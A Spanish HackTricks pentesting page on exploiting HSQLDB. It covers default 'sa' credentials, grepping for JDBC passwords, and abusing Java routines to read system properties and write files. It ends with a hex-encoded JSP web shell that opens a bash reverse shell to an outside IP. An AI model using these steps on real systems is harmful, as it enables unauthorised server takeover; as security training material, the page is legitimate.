5.5 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Información Básica
HSQLDB (HyperSQL DataBase) es el sistema de base de datos relacional SQL líder escrito en Java. Ofrece un motor de base de datos pequeño, rápido, multihilo y transaccional con tablas en memoria y basadas en disco, y soporta modos embebidos y de servidor.
Puerto por defecto: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Información
Configuraciones Predeterminadas
Ten en cuenta que por defecto este servicio probablemente esté ejecutándose en memoria o esté vinculado a localhost. Si lo encontraste, probablemente explotaste otro servicio y estás buscando escalar privilegios.
Las credenciales predeterminadas suelen ser sa
con una contraseña en blanco.
Si has explotado otro servicio, busca posibles credenciales usando
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Note el nombre de la base de datos cuidadosamente - lo necesitará para conectarse.
Info Gathering
Conéctese a la instancia de la base de datos descargando HSQLDB y extrayendo hsqldb/lib/hsqldb.jar
. Ejecute la aplicación GUI eww
usando java -jar hsqldb.jar
y conéctese a la instancia utilizando las credenciales descubiertas/débiles.
Tenga en cuenta que la URL de conexión se verá algo así para un sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME
.
Tricks
Java Language Routines
Podemos llamar a métodos estáticos de una clase de Java desde HSQLDB usando Java Language Routines. Tenga en cuenta que la clase llamada necesita estar en el classpath de la aplicación.
JRTs pueden ser functions
o procedures
. Las funciones pueden ser llamadas a través de declaraciones SQL si el método de Java devuelve una o más variables primitivas compatibles con SQL. Se invocan usando la declaración VALUES
.
Si el método de Java que queremos llamar devuelve void, necesitamos usar un procedimiento invocado con la declaración CALL
.
Reading Java System Properties
Crear función:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Ejecutar función:
VALUES(getsystemproperty('user.name'))
Puedes encontrar una lista de propiedades del sistema aquí.
Escribir contenido en un archivo
Puedes usar el com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
gadget de Java ubicado en el JDK cargado automáticamente en el class path de la aplicación
para escribir elementos codificados en hex en el disco a través de un procedimiento personalizado. Nota el tamaño máximo de 1024 bytes.
Crear procedimiento:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Ejecutar procedimiento:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.